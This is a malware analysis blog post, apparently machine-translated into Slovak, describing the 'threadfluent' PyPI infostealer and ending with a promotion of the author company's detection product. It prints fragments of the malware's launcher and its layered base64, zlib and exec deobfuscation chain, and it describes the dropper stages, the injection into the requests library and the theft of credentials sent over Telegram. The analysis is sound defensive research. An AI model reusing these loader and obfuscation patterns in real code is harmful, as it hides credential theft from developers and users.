Balík Pythonu plynulý z vlákna, objavený na PyPI, bol identifikovaný ako zlomyseľný, ktorý obsahuje konvenčný malvér na ukradnutie informácií. Jeho charakteristickou črtou je však použitie pokročilých techník zahmlievania kódu, ktoré zakrývajú jeho užitočné zaťaženie, čo robí analýzu obzvlášť náročnou. Tento malvér iteratívne využíva tri vrstvy zahmlievania v celom reťazci útokov, čo vytvára značné prekážky pre manuálnu dekonštrukciu.
Náš tím včasného varovania pred škodlivým softvérom nahlásil balík bezpečnostnému tímu PyPI, ktorý ho rýchlo odstránil. V tomto článku vysvetľujeme fázy plynulý z vláknaútok a metódy, ktoré používa na skrytie svojho účelu, so zameraním na to, ako fungujú malware typu infotealer a zahmlievanie kódu.
Cheat Sheet: Škodlivý softvér Infostealer a zahmlievanie kódu
Čo je malvér Infostealer?
Škodlivý softvér Infostealer sa vo vašom digitálnom svete správa ako prefíkaný zlodej. Nenápadne kradne citlivé informácie, ako sú vaše heslá, čísla kreditných kariet alebo osobné údaje, bez toho, aby ste si to všimli. Tieto programy zaznamenávajú, čo píšete (keylogging), unášajú váš prehliadač alebo skenujú súbory vo vašom zariadení, aby zhromaždili cenné údaje. Najstrašidelnejšie na tom je, že vynikajú v tom, že zostanú nenápadní.
Čo je to zmätok kódu?
Zahmlievanie kódu je v podstate umenie skrývať veci na očiach, ktoré hackeri často používajú na to, aby sťažili odhalenie alebo pochopenie svojho škodlivého kódu. Predstavte si, že niekto píše kód spôsobom, ktorý je zámerne mätúci, šifruje jeho časti alebo mieša jeho vzhľad, aby odradil antivírusové nástroje alebo výskumníkov. Je to šikovná, ale frustrujúca taktika, ktorá pomáha škodlivému softvéru zostať dlhšie aktívny a vyhnúť sa odhaleniu.
Vrstvy zahmlievania malvéru ThreadFluent Infostealer
1. Trojité šifrovanie
Proces zahmlievania začína silne šifrovaným užitočným zaťažením vloženým do fluent.py súbor. Počiatočný proces kódovania a dešifrovania možno zhrnúť takto:
encoded_data = base64_module.b64decode("... BASE-6 with encrypted payload, IV and RSA-encrypted keys…”); # … Sequential decryption: ChaCha20, Blowfish and AES … encrypted_payload = AES_Cipher.new(aes_key, AES_Cipher.MODE_CBC, iv=aes_iv).decrypt(encrypted_payload[16:]) final_payload = unpad_function(encrypted_payload, AES_Cipher.block_size) exec( zlib_module.decompress(bz2_module.decompress(final_payload)) ) Tento proces zahmlievania zahŕňa:
- KompresiaPoužívanie gzip a bzip.
- Symetrické šifrovanieReťazené šifrovanie s ChaCha20, Blowfish a AES.
- Asymetrické šifrovanieRSA sa používa na šifrovanie symetrických kľúčov.
Výsledok je kódovaný v Base64 a vložený ako kódované_údajeKaždá iterácia stavia na predchádzajúcej a vytvára vnorenú šifrovaciu štruktúru, ktorá mimoriadne sťažuje odhalenie skutočného užitočného zaťaženia bez spätného inžinierstva.
2. Dekompresia Gzip
V mnohých medzikrokoch malvér používa jednoduchú, ale účinnú metódu zahmlievania: kompresiu Gzip v kombinácii s kódovaním Base64.
import base64, zlib; eval(zlib.decompress(base64.b64decode(<STR>).decode('utf-8')) Táto technika zaisťuje, že zatemnené užitočné zaťaženie zostane skryté počas všetkých fáz.
3. Zreťazenie kódu a dynamická kompilácia
Posledná vrstva zahŕňa rozdelenie obfuskovaného užitočného zaťaženia medzi viacero premenných, ktoré sa počas vykonávania dynamicky zreťazujú a dekódujú:
import base64, zlib FEQXCBDOZKHVIhT = '...' # ....(111 other variables with base-64 encoded values) ... zZytWuvuEdBXSrO = eval(<FEQXCBDOZKHVIhT' encoded with '\x>) + eval(<next variable, encoded>) + eval( ' zlib.decompress(base64.b64decode(<VAR>)).decode('utf-8') ') + ... eval(compile(base64.b64decode(eval(zZytWuvuEdBXSrO)).decode('utf-8'), ‘<app>', 'exec')) Táto fáza je obzvlášť ťažkopádna na manuálne spätné analyzovanie, pretože každá premenná musí byť dekódovaná a rekombinovaná, aby sa odhalilo ďalšie užitočné zaťaženie.
Kombináciou týchto techník zahmlievania, malvér infostealer in plynulý z vlákna uniká odhaleniu, čo poukazuje na kľúčovú úlohu Zahmlievanie kódu v moderných kybernetických útokoch.
Viacstupňový útočný reťazec ThreadFluent
plynulý z vlákna malvér infostealer pozostáva zo štyroch odlišných fáz, z ktorých každá zavádza ďalšie vrstvy Zahmlievanie kóduTieto fázy slúžia nielen na doručenie užitočného zaťaženia, ale aj na jeho ochranu pred detekciou a analýzou.

Fáza 0: Počiatočné spustenie kódu
Vstupným bodom je __init__.py súbor, ktorý iniciuje vykonávanie obfuskovaného užitočného zaťaženia v fluent.pyTento súbor používa viacvrstvové zmätenie (ako je popísané v krokoch 1 – 3) na vytvorenie droppera fázy 1:
import os,threading def main(): if os.name == 'nt': from . import fluent fluent.main() thread = threading.Thread(target=main , daemon=True) thread.start() Fáza 1: Počiatočný kvapkadlo
Prvý dropper po deobfuskácii stiahne a vloží ďalší škodlivý kód, puts.pyz repozitára GitHub Červenovlasé-nohy-1337/odpovedí (upozornenie: tu sa nachádza potenciálne škodlivý kód).
Vkladanie kvapkadla puts.py do lokálnej inštalácie populárneho Žiadosti knižnica, úprava jej __init__.py súbor na spustenie deobfuskácie a vykonanie ďalšej fázy. Táto deobfuskácia pozostáva z obrátenia mnohých aplikácií vrstiev obfuskácie 1 … 3.
Fáza 2: Druhá kvapkadlo
Druhý dropper, po deobfuskácii rovnakým postupom, stiahne ďalší dátový obsah, ssl.py z repozitára GitHub, premenuje ho na udp.pya vygeneruje uzamykateľný súbor, aby sa zabezpečilo, že sa malvér nebude opakovane preinštalovať. Potom sa spustí na jeho deobfuskáciu, čo vedie k spusteniu finálneho užitočného zaťaženia infostealer.
Fáza 3: Finálny krádež informácií
Poslednou fázou je plne funkčný program na vykrádanie informácií, ktorý využíva pokročilé techniky úniku:
- Funkcie proti analýze:
- Detekuje antimalvérové nástroje a ukončí prácu, ak sa zistia akékoľvek procesy, IP adresy, názvy hostiteľov alebo virtuálne prostredia na čiernej listine.
- Exfiltrácia dát:
- Zachytáva vyčerpávajúce informácie. Patria sem IP adresa, MAC adresa, údaje VPN, súbory cookie/história prehliadača, údaje o kreditných kartách a prihlasovacie údaje k krypto peňaženke, okrem iného vrátane snímky obrazovky.
- Odosiela ukradnuté údaje (šifrované) cez Telegramový kanál pomocou šablóny zobrazenej tu:

Stratégia deobfuskacie
Aby mohli výskumníci analyzovať podobné balíky, musia systematicky obracať ich vrstvy zahmlievania:
- Kroky emulácie obfuskacie: Napíšte skripty na simuláciu transformácií (napr. dešifrovania, dekompresie) bez spustenia užitočného zaťaženia.
- Vrstvy reverzného šifrovania: Extrahujte a dešifrujte užitočné zaťaženie pomocou vložených kľúčov a algoritmov.
- Iteratívna analýza: Každú medziľahlú fázu spracujte iteratívne, aby ste rekonštruovali konečné užitočné zaťaženie.
Automatizované nástroje a izolované prostredia sú nevyhnutné na zefektívnenie tejto analýzy.
Chcete sa dozvedieť viac o tom, ako byť v reálnom čase v predstihu pred hrozbami?
Stiahnite si našu technickú dokumentáciu „Včasné varovanie: Detekcia a stanovovanie priorít hrozieb v reálnom čase“ a zistite, ako chrániť svoj dodávateľský reťazec softvéru.
Herec hrozby
Zdá sa, že balík bol publikovaný z dvoch účtov PyPI, ABIRHOSSAIN10 a anomilano785, momentálne odstránené.
Existuje (momentálne aktívny) účet GitHub s názvom ABIRHOSSAIN10, čo by mohlo súvisieť s kampaňou. Ryšavé-nohy-1337 Analyzuje sa aj používateľ GitHubu, ktorý vlastní repozitár používaný na sťahovanie dát fázy 2 a 3.
Hoci je pripisovanie vždy komplikované a členstvo v červenom tíme je možné, druh a objem získaných informácií naznačuje zákerného aktéra.
Záver: Úloha zahmlievania kódu v evolúcii malvéru
plynulý z vlákna Balík je príkladom moderného zahmlievania malvéru vo svojom viacstupňovom dodávaní. V spojení s použitými technikami úniku tento balík preukazuje jasnú snahu vyhnúť sa detekcii a odolať analýze.
Táto analýza zdôrazňuje dôležitosť spolupráce a automatizovaných nástrojov v boji proti takýmto hrozbám. Analýzou a pochopením týchto metód môžu bezpečnostní profesionáli v budúcnosti vyvinúť lepšiu obranu proti podobnému malvéru.
Ako systém MEW od spoločnosti Xygeni zabránil škodlivému balíku threadfluent dostať sa do produkčného prostredia
Xygeni's Včasné varovanie pred škodlivým softvérom (MEW) systém zohral kľúčovú úlohu v zastavení plynulý z vlákna Balík Pythonu, škodlivá závislosť obsahujúca pokročilé zmätok kódu a viacstupňový malvér infostealer, skôr ako by to mohlo ohroziť produkčné prostredie. Tu je postup:
- Detekcia prostredníctvom statickej analýzy
Spozorovaný MEW plynulý z vláknaskrytý kód, hľadanie podozrivých znakov, ako je vrstvené šifrovanie a nezvyčajná aktivita závislostí. - Posúdenie dosiahnuteľnosti za behu
Systém zistil, že kód balíka sa môže spúšťať počas používania, čo ho označilo za vážnu hrozbu bez toho, aby sa skutočne spustil. - CI/CD Pipeline ochrana
MEW zablokovaný plynulý z vlákna v reálnom čase, zabránil jeho zahrnutiu do zostavení a jeho dosiahnutiu produkčného prostredia. Vývojárom posielal upozornenia, na základe ktorých bolo možné vykonať akciu, čím šetril drahocenný čas. - Zdieľanie spravodajských informácií o hrozbách
Spoločnosť Xygeni rýchlo nahlásila balík organizácii PyPI a zdieľala svoje zistenia so svojou globálnou bezpečnostnou sieťou, čím zabránila jeho ďalšiemu šíreniu.
Chytaním plynulý z vlákna Systém MEW od spoločnosti Xygeni už na začiatku zabezpečil, aby škodlivý kód nepoškodil dodávateľské reťazce softvéru ani CI/CD pracovné postupy.
Chráňte svoje CI/CD Pipelines zadarmo
Zabráňte hrozbám, ako sú plynulý z vlákna so systémom včasného varovania pred škodlivým softvérom od spoločnosti Xygeni. Spustite svoj skúška zadarmo ešte dnes a zabezpečte si dodávateľský reťazec softvéru.
Luis Rodriguez
Luis Rodriguez je fyzikcist + matematik a CISSP. V súčasnosti je spoluzakladateľom a technickým riaditeľom spoločnosti Xygeni Security. Má viac ako 20 rokov skúseností v oblasti softvérovej bezpečnosti a podieľal sa na projektoch ako SAST a SCAV súčasnosti sa zameriava na software supply chain security.
Daniel Martín
Daniel Martín je expert na kybernetickú bezpečnosť a člen výskumného bezpečnostného tímu spoločnosti Xygeni, ktorý sa špecializuje na SDLC zmierňovanie zraniteľností a bezpečnosti aplikácií.






